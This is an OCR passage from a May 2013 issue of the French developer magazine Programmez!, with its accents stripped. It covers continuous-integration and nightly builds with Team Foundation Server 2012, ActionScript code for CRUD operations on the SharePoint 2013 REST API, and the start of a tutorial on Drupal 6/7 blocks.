cadre dune Build dintgration continue,
lexcution dune Build est dclenche aprs
chaque modification du code source. Cela
permet de sassurer que les modifications
nentranent pas un chec de la compilation
de lapplication. Chaque autre dveloppeur
peut alors sereinement rcuprer ces altrations, sans risque de provoquer un chec de
compilation sur leur environnement de travail. On dtecte souvent durant cette tape
des problmes de rfrences ou de dpendances. On dtecte galement les check in
(archivage des modifications) un peu trop
htifs et parfois incomplets, pour les quels la
vrification de la bonne compilation de lapplication en local na pas t effectue. Il est
normalement ncessaire de rajouter une
tape dexcution des tests unitaires la
Build dintgration continue. Cette tape,

devant rarement dpasser la poigne de


minutes, permet dajouter un gage de qualit
supplmentaire pour un allongement de
dure de Build minime. Attention, on parle ici
de tests unitaires et non pas de tests dintgrations, qui eux sont plutt rservs des
Builds nocturnes. La Build dintgration est
gnralement excute plusieurs fois par
jour, aussi il est important de faire en sorte
que son temps dexcution soit le plus court
possible. Cela permet de fournir un feedback
rapide aux dveloppeurs quant la bonne
intgration de leurs modifications dans les
sources de lquipe. De son ct, la Build
nocturne na pas pour objectif principal dtre
excute rapidement. Plus complte, celle-ci
ne se concentre par sur la restitution dun
feedback rapide, mais plutt sur un feedback
plus exhaustif. On y ajoute communment
des tests plus pousss tels que les tests dintgrations ou tests automatiss. Ces derniers ncessitent souvent une dure
dexcution plus longue, allant de plusieurs
minutes quelques heures, mais leur excution nocturne permet de ne pas impacter le
travail des dveloppeurs en journe. Il nest
pas rare dinclure galement dans cette Build
nocturne des tapes dites de Packaging. Ces
tapes peuvent gnrer des packages de formats divers, allant dune simple archive Zip
contenant des binaires, en passant par les
packages dapplications spcifiques (Windows 8, Web Deploy, scripts SQL, etc.), un
installeur MSI. Il est mme possible denrichir
le processus de Build nocturne avec lautomatisation du dploiement des packages
gnrs en environnement de tests ou de
production. On parle alors de dploiement
continu (ou continuous deployment). Cela
permet de pouvoir tout moment dclencher de manire entirement automatise le
dploiement de lapplication.

> Un accompagnement
au changement souvent
ncessaire
Si la mise en place des Build dquipe (intgration continue + nocturne) est la base

PROgrammez !

< 66 >

MAI

2013

dune bonne intgration continue, cela


demande galement aux dveloppeurs ladoption de quelques nouveaux rflexes.
Gnralement, lorsque le dveloppeur ajoute
des modifications de code source dans le
gestionnaire de code source de lquipe, une
Build dintgration continue est immdiatement dclenche. Le dveloppeur obtient
alors en quelques minutes un retour quant
la bonne intgration de ses modifications.
Dans le cas o la Build dquipe choue, le
dveloppeur doit comprendre pourquoi celleci est en chec, et doit effectuer les modifications ncessaires au plus tt pour quelle
russisse. La plupart du temps, les corrections apporter concernent les modifications
effectues par le dveloppeur. Cependant il
peut galement arriver que la Build dquipe
choue car il est ncessaire de faire voluer
le processus de celle-ci. Exemple : Ajout de la
compilation dun nouveau module. Dans ce
cas, il faut prendre contact avec la ou les personnes en charge de maintenir le processus
de la Build dquipe afin de le faire voluer au
plus vite. noter que pour accompagner les
dveloppeurs durant lassimilation de ces
concepts, certains outils proposent dexcuter une Build dintgration continue avant
chaque check in, et de nintgrer les modifications dans le gestionnaire de code source
que si le rsultat de la Build est un succs
(par exemple avec Team Foundation Server,
cette fonctionnalit sappelle le Gated Check
In) [Fig.1].

> Accompagnement
ladoption des standards
de lentreprise grce aux
Builds dquipe
Un autre rle souvent attribu la Build
dquipe, est celui doutil danalyse. En effet,
de nombreux outils permettant de suivre et
de contrler lvolution du code source existent, et il nest pas rare de voir limplmentation de ceux-ci au sein des Builds dquipe.
Suivant la dure dexcution et le besoin de
rafrachissement de loutil danalyse, on placera ce dernier dans une Build dintgration

66-69

20/04/13

00:35

Page 67

i je dbute avec...
continue ou dans une Build Nocturne.
Parmi ces outils, on en trouve concernant la
syntaxe du code, tels que Lint ou encore
Code Analysis. Ceux-ci vont gnrer des
avertissements, voire des erreurs dexcution de Build si les standards dutilisation ou
de nommage ne sont pas respects, etc.
La gnration de mtriques concernant la
maintenabilit du code, la couverture de
code, etc. est souvent une tape importante
pour la direction. Ces mesures peuvent tre
obtenues via des outils tels que Sonar, ou
encore Metrics.exe [Fig.2].

> Par qui se fait lintgration ?


Aprs cette longue rflexion sur les aspects
thoriques des Builds dquipe, il est maintenant temps de voir comment cela se passe
en pratique.
Avant cela, il est important de bien dfinir la
ou les personnes responsables de maintenir
le processus de Build en adquation avec
lvolution du projet gnr. On distingue plusieurs configurations possibles :
Premire possibilit : lquipe de dveloppement dsigne un intgrateur. Une seule personne centralise les comptences pour
maintenir le processus de Build, ce qui permet aux autres membres de lquipe de se
concentrer sur des tches de dveloppement. Cependant dans cette configuration,
labsence prolonge de lintgrateur peut
trs rapidement devenir une entrave au bon
droulement des Builds dquipe.
De plus, lintgrateur ne possde probablement pas une connaissance suffisante de
lapplication pour rsoudre les erreurs rencontres durant la Build et est, de toute
faon, amen faire appel un dveloppeur.
Seconde possibilit : lquipe de dveloppement dans son ensemble maintient la Build
dquipe. Dans cette configuration, toute
lquipe a besoin davoir des connaissances
quant la manire de modifier le Processus
de Build. Ce mode de fonctionnement possde pour avantage de rduire les ventuels
risques de blocage suite labsence de lintgrateur. De plus, lorsque une erreur se produit durant lexcution dune Build dquipe,
le dveloppeur qui appartiennent les modifications gnres est bien souvent plus
mme didentifier et de corriger rapidement
lerreur.

dveloppement pour installer des Builds


dquipe.

LA BOTE OUTILS
DU PARFAIT PETIT
INTGRATEUR
Un processus de Build peut se rsumer un
squencement dactions effectuer. lheure actuelle, de nombreux outils sont disponibles pour remplir ce rle, en voici une
slection :
Le plus simple : Un script shell / batch
faisant appel diffrents outils en ligne de
commande tels que la copie de fichier, le
lancement de la compilation, etc.
Un outil bien connu des utilisateurs de plateforme UNIX : Le logiciel Make se base
sur des fichiers .makefile et peut sapparenter aux scripts shell, la diffrence que
Make se base sur les dates des fichiers
sources et des binaires gnrs pour
savoir sil doit les gnrer de nouveau.
Un grand classique de la compilation dapplications Java : Le logiciel open source Ant
(Another neat tool) sappuie quant lui sur
un fichier build.xml pour y dcrire les
actions effectuer. Sa portabilit aussi bien
sur les environnements Windows que sur
les environnements UNIX, ainsi que son
panel de fonctionnalits disponibles en standard en font un outil de choix lorsquil est
question de gnrer des applications Java.
Un outil similaire Ant pour la compilation
dapplications .NET : Le logiciel open source Nant (Not Ant) est globalement comparable Ant, cette fois-ci destin la
gnration dapplications .NET.
Un autre outil populaire dans lunivers de la

> Les serveurs de build


Si ces diffrents processus de Build pourraient tre excuts la main, lutilisation
dun serveur de Build est gnralement prfre afin de grer, coordonner et surveiller
Fig.1

Autre possibilit souvent rencontre dans les


entreprises de taille considrable, et qui nest
pas incompatible avec les prcdentes : Une
quipe entire est charge de dfinir, mettre
en place et accompagner les quipes de

PROgrammez !

compilation Java : Le logiciel open source


Maven sappuie quant lui sur un fichier
pom.xml, pom signifiant Project Object
Model. Au-del de pouvoir squencer des
actions, Maven conventionne la structure
des projets utiliss durant le processus de
Build, ce qui permet thoriquement de
rduire les efforts de configuration des
projets et de faciliter la cohrence et luniformit des processus de Build. noter
que Maven est galement trs intressant
pour ses capacits grer un systme de
Repository (dpt) pour les dpendances
des projets.
Loutil standard pour la compilation dapplications .NET : La plateforme MSBuild,
fournie gratuitement avec les diffrentes
versions du Framework .NET, est souvent
considre comme loutil de prdilection
de la compilation des applications .NET. De
nombreuses activits MSBuild sont fournies en standard, et le squencement des
actions seffectue partir de fichiers
.*proj (csproj, vbproj, sln.metaproj, etc.)
Il existe encore bien dautres outils disponibles, trs souvent lis au serveur de
Build dans lequel ils sont utilisables. On
peut citer par exemple les processus de
Build dfinis en Workflow 4 prsents dans
Team Foundation Server (Exemple qui est
abord de nouveau un peu plus loin dans
cet article).

< 67 >

MAI

2013

66-69

20/04/13

00:35

Page 68

i je dbute avec...
leur excution. Pour aider dans cette lourde
tche, les serveurs de Build sont pour la plupart capables dexcuter les processus de
Builds prsents auparavant, denvoyer des
alertes par emails lorsquune erreur survient
durant le processus, ainsi que de se connecter divers gestionnaires de code source.
Ils disposent trs souvent dun tableau de
bord permettant davoir une vision plus globale sur la russite des Builds. De nouveau,
une multitude de solutions open source ou
propritaires sont disponibles pour remplir
ce rle. Parmi celles-ci on peut citer :
Lun des outils les plus populaires si ce
nest le plus populaire : Le logiciel open
source CruiseControl est une rfrence
dans la catgorie des logiciels dintgration
continue. Il peut tre utilis pour grer des
Builds dapplications Java, mais aussi des
applications .NET dans sa version CruiseControl.NET, ainsi que des applications
Ruby dans sa version CruiseControl.rb.
Team Foundation Server, plutt orient
sur la gestion des applications .NET, est un
outil qui met le focus sur les mthodes
Agiles dans la version 2012. Ses outils de
Build dintgration continue, accompagns
dune bonne utilisation des autres composantes de TFS, permettent de mettre en
place des scnarios avancs tels que la
capture automatique des informations de
Debug (Intellitrace) dune application en
test ou en production, ou encore de la
rcupration des tests manuels ou automatiss impacts par les modifications
effectues sur le code source, entre 2 versions dune application.
Il existe bien dautres solutions qui possdent chacune leurs petites spcificits :
AnthillPro dUrbanCode, Apach Continuum,
Jenkins et Hudson, TeamCity de Jetbrains,
Rational Build Forge dIBM, Bamboo dAtlassian, etc.

MSDN. En outre, il bnficie de mises jour


frquentes (Dj 2 mises jour depuis sa
sortie lanne dernire) qui apportent
chaque fois de nouvelles fonctionnalits. La
dernire mise jour apporte par exemple un
support pour GIT en tant que gestionnaire
de code source. Pour accder TFS 2012,
il est ncessaire de tlcharger une extension gratuite pour Visual Studio appele
Team Explorer. noter quil existe galement
une extension quivalente pour Eclipse appele Team Explorer Everywhere.

> Excution des tests


dintgration (Exemple
pratique avec TFS)
Avec Team Foundation Server 2012, la
slection des tests excuter passe par
deux tapes : Une premire tape de filtrage
sur les binaires de tests utiliser, suivi dun
second filtrage sur les attributs associs aux
tests. Le premier filtrage est un simple
masque appliqu sur les binaires se trouvant
en sortie de la Build dquipe. Par dfaut,
Team Foundation Server slectionne tous les
fichiers .dll possdant le mot Test dans leur
nom. Le second filtrage seffectue cette foisci sur les attributs de test affects chaque
mthode de test. Par exemple, un simple
filtre initialis !CUIT permet dexclure tous
les tests possdant lattribut [TestCategory(CUIT)]. On spare de cette manire les
tests unitaires qui doivent tre jous durant
la Build dintgration continue, des tests dintgration qui doivent tre jous dans une
Build nocturne.
Concernant lexcution des tests dintgra-

> La gestion des


dpendances ? (Exemple
pratique avec TFS)
Problme rcurrent tous les gestionnaires
de code source, la gestion des dpendances, et notamment celle des dpendances tierces, est un sujet qui devient
encore plus critique lorsquil est question de
mettre en place une Build dquipe.
Une bonne gestion des dpendances permet
idalement une application dtre gnre
partir de nimporte quelle machine de Build
disponible.
La solution de base, mais qui peut devenir
trs vite complique maintenir: Installer les
composants manquants directement sur la
machine de Build. Dans le cas o les dpendances tierces sajoutent les unes aprs les
autres, et ce de manire tale dans le
temps, cette gestion se transforme souvent
en syndrome Je ne sais pas pourquoi a
compile sur cette machine et pas sur une
autre , ce qui risque de poser beaucoup de
Fig.2

EXEMPLES PRATIQUES
AVEC TEAM FOUNDATION
SERVER 2012
Aprs avoir vu en thorie en quoi consiste
une Build nocturne ainsi que les diffrents
outils notre disposition pour sa mise en
place, cette dernire partie propose des
exemples pratiques avec un outil en particulier : Team Foundation Server 2012 (abrg TFS). Le choix sest port sur cet outil
fourni par Microsoft car cette solution est
disponible gratuitement dans sa version
Express ou Online, ou install gratuitement
dans sa version complte avec une licence

PROgrammez !

tions, gnralement plus longs, il faut galement dfinir si les tests doivent tre jous
sur des binaires pr ou post-dploiement.
Dans le premier cas, les tests peuvent tre
excuts sur des binaires provenant dune
mme Build dquipe, gnrant la fois les
binaires de tests et les binaires tester, ou
bien dune autre Build dj termine. Dans le
deuxime cas, une tape de dploiement,
automatise ou manuelle, est ralise avant
lexcution des tests ce qui permet de se placer dans un environnement le plus proche
possible de lenvironnement de production.

< 68 >

MAI

2013

66-69

20/04/13

00:35

Page 69

i je dbute avec...
problmes si cette machine venait tre
indisponible... Une autre solution communment adopte est celle dajouter les dpendances tierces directement dans le
gestionnaire de code source. Cette solution
a cependant tendance alourdir le contrle
de code, en particulier lorsque lon y ajoute
de nouvelles versions des dpendances
tierces, mais galement lorsque ces dpendances sont dupliques travers diffrentes
branches de versions de lapplication (Dev,
Main, Release, etc.). Finalement, une solution appele NuGet, dornavant intgre en
standard dans Visual Studio 2012, rsout
les problmes prsents ci-dessus. Cet outil
permet daller rcuprer les dpendances
tierces dans leur bonne version au moment
de la compilation. Dans ce cas, il nest plus
ncessaire de maintenir une documentation
sur le contenu des machines de Build, et
plus besoin de sauvegarder les binaires tiers
dans le gestionnaire de code source !

> Personnalisation du
Process de Build (Exemple
pratique avec TFS)
Si le processus de Build fourni en standard
dans TFS permet dobtenir assez facilement
une Build dintgration continue, ds lors
que lon veut passer une Build nocturne
ncessitant des tapes avances telles que
le packaging ou le dploiement, il faut alors
se plonger dans les mcaniques de loutil et
apprhender la meilleure manire de le personnaliser. Dans TFS, le processus de Build
est dfini via un fichier compos en Workflow 4. Celui-ci est manipulable via une interf a c e g r a p h i q u e e t p e r m e t d a j o u t e r,
supprimer ou dplacer des activits dun

simple gliss-dpos. Tout dabord, les


Workflow de Build sont accompagns dune
soixantaine dactivits spcifiques TFS
telles que la manipulation du code source, la
modification de Work Items, lexcution de
MSBuild, etc. Ceux-ci additionns de toutes
les activits standard du Workflow 4 permettent dj de couvrir de nombreux
besoins en personnalisation. Si les activits
standards ne suffisent pas, une activit TFS
appele InvokeProcess permet de faire
appel nimporte quelle ligne de commande,
que celle-ci fasse appel un fichier Batch, un
script PowerShell ou mme un excutable. Il
est alors possible de centraliser ces scripts
dans le gestionnaire de code source dun
projet dquipe TFS, afin de les dployer si
besoin chaque excution dune Build. Pour
les quipes qui voudraient garder une certaine indpendance vis--vis de la Build dquipe
et dtre toujours capable de packager une
application depuis le poste dun dveloppeur,
il est possible de passer par de la personnalisation de scripts MSBuild, jouables aussi
bien sur la machine de Build que sur la
machine dun dveloppeur. Attention cependant la synchronisation de ces personnalisations car chaque modification MSBuild
doit tre rpercute sur tous les postes.
Pour finir, la solution prfre des experts
TFS reste souvent la personnalisation via les
activits de Workflow 4 custom. En effet, il
est relativement facile de produire des activits sous formes de .dll excutant un morceau de code .Net spcifique, puis de les
manipuler comme nimporte quelle autre
activit au travers du fichier de Workflow 4.
En rsum, pour des projets de taille modeste, il est possible de personnaliser le proces-

sus de Build trs facilement et rapidement


via la solution qui semble la plus familire.
Cependant, pour des projets de longue haleine, on prfrera structurer et centraliser
ses modifications via les activits custom de
Workflow 4 par exemple.

> Le packaging (Exemple


pratique avec TFS)
Le comportement standard de Team Foundation Server se contente de dposer les
binaires gnrs sur un partage rseau. Ce
comportement est amplement suffisant
dans le cadre dune Build dintgration continue qui ne comporte quune tape de compilation et dexcution de test unitaires. Pour
obtenir des sorties de Build avec un format
plus exploitable en vue de tests ou de
dploiement, de nombreuses options sont
disponibles avec Team Foundation Server.
Certains types de projets spcifiques produisent directement, ou contre le renseignement de quelques paramtres, des
packages en sor tie. On peut citer par
exemple les projets Windows 8 (.appx),
Windows Phone 8 (.xap) ou SQL Server
(.dacpac), ... Dans le cadre du dploiement
des applications web, les packages Web
Deploy permettent de tirer parti de fonctionnalits de synchronisation diffrentielles, de
backup automatiques ainsi que de paramtrage au dploiement des chanes de
connexion. Pour gnrer de tels package
avec TFS, il faudra rajouter largument
MSBuild /p:DeployOnBuild=true.
Concernant la gnration dun installeur lors
dune Build TFS, ce sont les projets WIX
(Windows Installer XML) qui sintgrent facilement dans le processus de Build et permettent de dfinir via des fichiers XML les
lments installer. Enfin pour raliser un
simple Zip, des extensions de Build appeles
Community TFS Build extensions sont disponibles sur Codeplex et comportent une
activit de cration darchive Zip quil suffit
de rajouter au Workflow de Build.

POUR ALLER PLUS LOIN


La Build nocturne est un lment essentiel
pour tout projet qui ncessite de lautomatisation et de la qualit. Elle sillustre parfaitement
bien dans le cadre de mthodes Agiles, et est
au cur dun concept qui commence faire
parler de lui : les DevOps.
# Vivien Fabing Consultant quipe ALM
http://blogs.developpeur.org/vivien
Infinite Square
http://www.infinitesquare.com

Sidekick de Attrice, revue de builds.


PROgrammez !

< 69 >

MAI

2013

70-72

20/04/13

00:36

Page 70

i cas dusage

Applications mobiles pour


SharePoint 2013
Depuis la version 2013 de SharePoint, il est dsormais possible deffectuer les oprations CRUD
(Create, Read, Update, Delete) via larchitecture
REST (Representational State Transfer). Il ma t
demand de crer une application mobile de golocalisation
des bacs de collecte des dchets, identifis par des QRCodes.
Nous allons dvelopper une application AIR sur tablette (Android,
BlackBerry PlayBook ou iOS) afin de mettre jour des listes
SharePoint.

INTEROPRABILIT
SharePoint 2013 permet lutilisation dURL afin daccder aux listes
(bibliothques de documents, listes personnalises, contacts,
tches, calendrier,) depuis un navigateur ou une application grce
larchitecture REST, sous la forme http://urlServeur/site/_api/lists par
exemple.
Cela simplifie la mise en place dapplications OpenData sur des priphriques htrognes, en utilisant des langages varis comme
JavaScript, ou dans notre cas, ActionScript. Jai choisi le langage
ActionScript pour crer une application AIR pour mobile, avec accs
la golocalisation et la camra pour lire des QRCodes.

OPRATIONS DE BASE

postURL.requestHeaders.push( new
URLRequestHeader(ContentType,application/json;odata=verbose));
//_formDigestValue nest pas obligatoire
postURL.requestHeaders.push( new URLRequestHeader(XRequestDigest,_formDigestValue ));
postURL.requestHeaders.push( new URLRequestHeader(If-Match,*));
postURL.requestHeaders.push( new URLRequestHeader(X-Http-Method
,POST));
// nous envoyons des donnes au serveur au format JSON
postURL.contentType=application/json;odata=verbose;
// chane JSON de cration de liste
postURL.data = JSON.stringify({ __metadata: { type: SP.List },
AllowContentTypes: true,
BaseTemplate: 100, ContentTypesEnabled: true,
Description: description, Title: nomListe });
// instance dURLLoader
postLoader = new URLLoader(postURL);

Jutilise des commandes HTTP :


GET pour la lecture (Read)
POST pour lcriture (Create, Update, Delete)

// format texte
postLoader.dataFormat = URLLoaderDataFormat.TEXT;
// ajout dcouteurs sur les vnements retourns par le serveur
postLoader.addEventListener(Event.COMPLETE, creeListeDone);

> Authentification

postLoader.addEventListener(ProgressEvent.PROGRESS, progress);
postLoader.addEventListener(IOErrorEvent.IO_ERROR, handleIOError );
postLoader.addEventListener(HTTPStatusEvent.HTTP_STATUS, handle
HttpStatus );
postLoader.addEventListener(SecurityErrorEvent.SECURITY_ERROR,
handleSecurityError );
// appel du serveur SharePoint
postLoader.load(postURL);

La premire tape consiste dfinir les identifiants pour lauthentification chaque appel SharePoint :
URLRequestDefaults.authenticate = true;
URLRequestDefaults.setLoginCredentialsForHost(fqdn, user, pwd);

> Cration de liste


Je dfinis une instance de URLRequest avec les enttes ncessaires :
public function creeListe(nomListe:String, description:String=):void {
var postURL:URLRequest= new URLRequest(_urlsite + _api/web/lists);
postURL.authenticate = true;
postURL.method = URLRequestMethod.POST;
// pour un rsultat du serveur au format XML
postURL.requestHeaders.push(
new URLRequestHeader(ACCEPT,application/atom+xml));
// pour un rsultat du serveur au format JSON
//postURL.requestHeaders.push( new
//URLRequestHeader(ACCEPT,application/json;odata=verbose));

PROgrammez !

}
Si tout se passe bien, la mthode creeListeDone est appele, ltape suivante est de dfinir les champs de cette liste :
public function creeChamp(nomListe:String, champ:String, type:int,
requis:Boolean, unique:Boolean):void {
var jason:String; // chane JSON
var postURL:URLRequest= new URLRequest(_urlsite + _api/web/
lists/getByTitle( + nomListe + )/Fields);
postURL.authenticate = true;
postURL.method = URLRequestMethod.POST;
postURL.requestHeaders.push( new

< 70 >

MAI

2013

70-72

20/04/13

00:36

Page 71

i cas dusage
URLRequestHeader(ACCEPT,application/atom+xml));
postURL.requestHeaders.push( new
URLRequestHeader(ContentType,application/json;odata=verbose));
postURL.requestHeaders.push( new URLRequestHeader(X-Request
Digest,_formDigestValue ));
postURL.requestHeaders.push( new URLRequestHeader(X-Http-Method,
POST));
postURL.contentType=application/json;odata=verbose;
// cration de la chane JSON envoyer
jason = { __metadata: { type: SP.Field }, Title:
+ champ + , FieldTypeKind: + type + ,Required: +
requis +, EnforceUniqueValues:+ unique + , Indexed: +
unique + ,StaticName: + champ + };
postURL.data = jason;
postLoader = new URLLoader(postURL);
postLoader.dataFormat = URLLoaderDataFormat.TEXT;
// couteurs dvnements
postLoader.addEventListener(Event.COMPLETE, createFieldsDone);
postLoader.addEventListener(ProgressEvent.PROGRESS, progress);
postLoader.addEventListener(IOErrorEvent.IO_ERROR, handleIOError );
postLoader.addEventListener(HTTPStatusEvent.HTTP_STATUS, handle
HttpStatus );
postLoader.addEventListener(SecurityErrorEvent.SECURITY_ERROR,
handleSecurityError );
// appel du serveur SharePoint
postLoader.load(postURL);
}

Lecture
Vu que tout est trait de faon asynchrone, le rsultat XML renvoy
par le serveur SharePoint est analyser lors de requtes de lecture. Voici comment rcuperer des donnes dans le contexte dune
commande GET de lecture du champ ID en fonction du champ Title
dans une liste SharePoint. Le filtre sur un champ utilise la syntaxe
OData (OpenData) $filter oprateur valeur : dans notre cas, loprateur est eq, il existe des oprateurs numriques (Lt, Le, Gt, Ge,
Eq, Ne), des oprateurs de chane (starsWith, substringOf, Eq, Ne)
ou des oprateurs de date (day(), month(),etc).

getLoader.addEventListener(HTTPStatusEvent.HTTP_STATUS, handle
HttpStatus );
getLoader.addEventListener(SecurityErrorEvent.SECURITY_ERROR,
handleSecurityError );
getLoader.load(getURL);
}
// mthode danalyse du XML retourn par le serveur SharePoint
private function getLigneIdDone(e:Event):void
{
var erreur:String = ;
var id:String = ;
var title:String = ;
try
{
// objet XML
var responseXml:XML = XML( e.target.data );
// dfinition des namespaces XML
var ns:Namespace = responseXml.namespace();
var d:Namespace = responseXml.namespace(d);
var m:Namespace = responseXml.namespace(m);
var items:Array;
var i:XML;
// tableau des lments retourns (un lment dans notre cas)
items = new Array();
for each (i in responseXml.ns::entry)
{
items.push(new Entry(XMLList(i)));
}
// boucle sur les items renvoys
for each(var item:Entry in items)
{
var eXml:XML = XML( item.xml );
var vList:XMLList = new XMLList();
var ens:Namespace = eXml.namespace();
var ed:Namespace = eXml.namespace(d);
var em:Namespace = eXml.namespace(m);
vList = eXml.ens::content;
for each(var vElement:XML in vList)
{
title = vElement.em::properties.ed::Title;
id = vElement.em::properties.ed::Id;
Util.log( getLigneIdDone id: + id + title:+ title);
}

public function getLigneId(nomListe:String, title:String):void {


// filtrage de la ligne par le titre (OData)
var getURL:URLRequest= new URLRequest(_urlsite + _api/web/lists/
getByTitle( + nomListe + )/items?$filter=Title eq + title );
getURL.authenticate = true;
getURL.method = URLRequestMethod.GET;
getURL.requestHeaders.push( new
URLRequestHeader(ACCEPT,application/atom+xml));
getURL.requestHeaders.push( new
URLRequestHeader(ContentType,application/json;odata=verbose));
getURL.requestHeaders.push( new URLRequestHeader(XRequestDigest,_formDigestValue ));
getURL.contentType=application/json;odata=verbose;

}
}
catch (e:Error)
{
erreur += e.message;
Util.log(erreur getLigneIdDone: + erreur);
}
}

> Ecriture
getLoader = new URLLoader(getURL);
getLoader.dataFormat = URLLoaderDataFormat.TEXT;
getLoader.addEventListener(Event.COMPLETE, getLigneIdDone);
getLoader.addEventListener(ProgressEvent.PROGRESS, progress);
getLoader.addEventListener(IOErrorEvent.IO_ERROR, handleIOError );

PROgrammez !

Pour ajouter un lment dans une liste, le principe est le mme,


avec une commande POST. Toutefois, il est ncessaire de connatre
le type ditem insrer, en gnral SP.Data.nomListeListItem. Par
exemple, une liste nomme Communes aura des items de type
SP.Data.CommunesListItem :

< 71 >

MAI

2013

70-72

20/04/13

00:36

Page 72

i cas dusage
public function writePost(nomListe:String, titre:String):void {
var postURL:URLRequest= new URLRequest(_urlsite + _api/web/
lists/getByTitle( + nomListe + )/items);
postURL.authenticate = true;
postURL.method = URLRequestMethod.POST;
postURL.requestHeaders.push( new
URLRequestHeader(ACCEPT,application/atom+xml));
postURL.requestHeaders.push( new
URLRequestHeader(ContentType,application/json;odata=verbose));
postURL.requestHeaders.push( new URLRequestHeader(XRequestDigest,_formDigestValue ));
postURL.requestHeaders.push( new URLRequestHeader(If-Match,*));
postURL.requestHeaders.push( new URLRequestHeader(X-Http-Method
,POST));
postURL.contentType=application/json;odata=verbose;
// remplacer CommuneListItem par NomListeListItem
postURL.data = JSON.stringify({ __metadata: { type: SP.
Data.CommunesListItem }, Title: titre, champBooleen: false });
postLoader = new URLLoader(postURL);
postLoader.dataFormat = URLLoaderDataFormat.TEXT;
postLoader.addEventListener(Event.COMPLETE, writeDone);
postLoader.addEventListener(ProgressEvent.PROGRESS, progress);
postLoader.addEventListener(IOErrorEvent.IO_ERROR, handleIOError );
postLoader.addEventListener(HTTPStatusEvent.HTTP_STATUS, handle
HttpStatus );
postLoader.addEventListener(SecurityErrorEvent.SECURITY_ERROR,
handleSecurityError );
postLoader.load(postURL);
}

> Lapplication tablette


Lapplication doit tre optimise pour sexcuter sur un priphrique
mobile, jai choisi le runtime Adobe AIR avec les frameworks open
source Starling et FeathersUI, dont le code sexcute sur le GPU.

Fig.1

Lapplication en action.

Les tablettes sont quipes de carte 3G pour une saisie directe


dans SharePoint, nanmoins, si une zone gographique nest pas
couverte, une base de donnes locale SQLite contient toutes les
tables correspondant aux listes SharePoint. Chaque saisie est enregistre dans la base de donnes locale SQLite et dans SharePoint
de faon asynchrone un mcanisme de file dattente pour garder
une interface fluide. Toutes les oprations
sur les bases de donnes sont consignes
dans des fichiers texte afin de reprendre la
file dattente son tat si lapplication est
ferme [Fig.1].

CONCLUSION
Lajout de larchitecture REST SharePoint
2013 ouvre beaucoup de possibilits pour
utiliser SharePoint comme un serveur de
bases de donnes pour des applications
mobiles. Il faut penser modifier les listes
sur le serveur pour grer lunicit et utiliser
les champs Lookup pour lintgrit rfrentielle. Les listes permettent une visualisation
directe par les utilisateurs en mode web,
tout en permettant lanalyse des donnes
dans Excel, Access, etc.
# Bruce Lane
Dveloppeur pour la communaut dagglomration
Sophia-Antipolis (http://www.casa-infos.fr)
Dveloppeur du logiciel Onyx-VJ et musicien
(http://www.batchass.fr)

PROgrammez !

< 72 >

MAI

2013

73-76

20/04/13

00:37

Page 73

i webmaster

Matriser les blocs sous Drupal 6 et Drupal 7


Les blocs Drupal sont parmi les fonctionnalits les plus intressantes pour crer des
pages Web riches. Examinons comment travailler avec eux sous Drupal 6 et Drupal 7.
es blocs Drupal sont de petites zones destines accompagner les contenus. On les positionne frquemment dans les
colonnes de droite et gauche dun site, mais on peut en mettre
dans les en-ttes de page, dans le cas dune bannire publicitaire
par exemple, ou mme dans un contenu. Un cas frquent est l
encore la publicit. Le champ dapplication des blocs est infini car
leur contenu peut tre dynamique, et il est possible de slectionner
trs prcisment dans quelles pages ils apparatront et pour quels
types de visiteurs du site. Les blocs peuvent tre dfinis manuellement dans linterface dadministration du site, ou par programmation, depuis un module dextension. Examinons tous ces aspects.
Nous supposons que le lecteur est dj un petit peu familiaris avec
les hooks et la programmation Drupal.

Fig.1

ORGANISATION ET
ADMINISTRATION DES BLOCS

Linterface dadministration permet daffecter les blocs aux rgions du thme.

Si lon veut tirer le meilleur profit des blocs de Drupal, il faut dentre
de jeu tre sensibilis au fait que ceux-ci travaillent main dans la
main avec le ou les thmes daffichage de votre site. Comme illustr
[Fig.1] linterface dadministration des blocs de Drupal permet daffecter et dordonner les blocs dans des rgions. Or les rgions sont
dfinies par le thme daffichage. Donc cette affectation est dpendante du thme. Ainsi il est parfaitement possible daffecter un bloc
lambda la colonne de droite dun thme X et la colonne de
gauche dun thme Y. En outre, depuis linterface dadministration
gnrale des blocs, il est possible daccder une configuration individuelle pour chaque bloc. Cest ici quil sera possible de redfinir le
titre du bloc, de dcider si un visiteur peut le masquer ou non, de
dcider pour quels types de visiteurs (anonymes, authentifis, etc.)
le bloc sera visible, et enfin de dfinir sur quelles pages il devra safficher, ou ne pas safficher. Ceci pour Drupal 6. Avec Drupal 7 vient
une possibilit supplmentaire : demander ou refuser un affichage,
selon le type du contenu prsent par la page.

2 UNE BONNE PRATIQUE


Lorsque le filtre PHP est activ depuis la page dadministration des
modules de Drupal, il est possible de dfinir un bloc dont le contenu
est entirement constitu de code PHP. Cette approche est sduisante au premier abord, lorsquon dcouvre Drupal. Cest cependant
une approche nutiliser que dans des cas exceptionnels. En effet, le
code PHP du bloc, comme il sera avant tout un contenu de bloc, va
rsider en base de donnes. Si par mgarde le bloc est dtruit
depuis linterface dadministration, son code sera perdu, et il vous
faudra le rcrire. En outre, mme si Drupal est trs costaud en ce
qui concerne la scurit, avoir du code PHP en base de donnes,
cest trs vulnrable, potentiellement, aux injections. Mieux vaut viter. Si toutefois, on se trouve dans une situation qui fait que lon
doive absolument placer du code PHP dans un bloc, on limitera ce
code une seule fonction qui appellera tout le code excuter et qui
rsidera, lui, dans un module. Ainsi, au moins, si le bloc est dtruit,
il ne sera pas ncessaire de rcrire une montagne de code :-)

PROgrammez !

3 NE PAS RINVENTER LA ROUE


Avant de se lancer dans la cration dun bloc tout PHP ou dans le
dveloppement dun module qui gnre des blocs, ce que nous verrons plus loin, il est trs pertinent de rechercher sur drupal.org sil
nexisterait pas un module dextension qui corresponde vos
besoins. Supposons par exemple que vous ressentiez le besoin dafficher des bannires publicitaires dans des blocs sur votre site, et que
vous vouliez des statistiques dimpression et de clics sur ces bannires, que vous vouliez grouper les bannires par annonceurs, et
pouvoir dfinir des part de voies et des priodes daffichage. Ne vous
dites pas que pour un tel besoin, digne de lusine gaz, rien nexiste.
Au contraire le module Advertisement est fait pour vous. A contrario, si vous avez un besoin tout simple, comme afficher une seule
image dans un bloc, ne vous lancez pas tte baisse dans un travail
dj fait. Le module Image Block vous attend :-) Enfin, et peut-tre
surtout, apprenez tirer tout le profit possible, et il est norme, du
module Views qui permet de gnrer des vues de la base de donnes et donc du contenu dynamique. Ce module est si puissant et si
malin quil mriterait plusieurs articles lui seul. Or, quand une vue
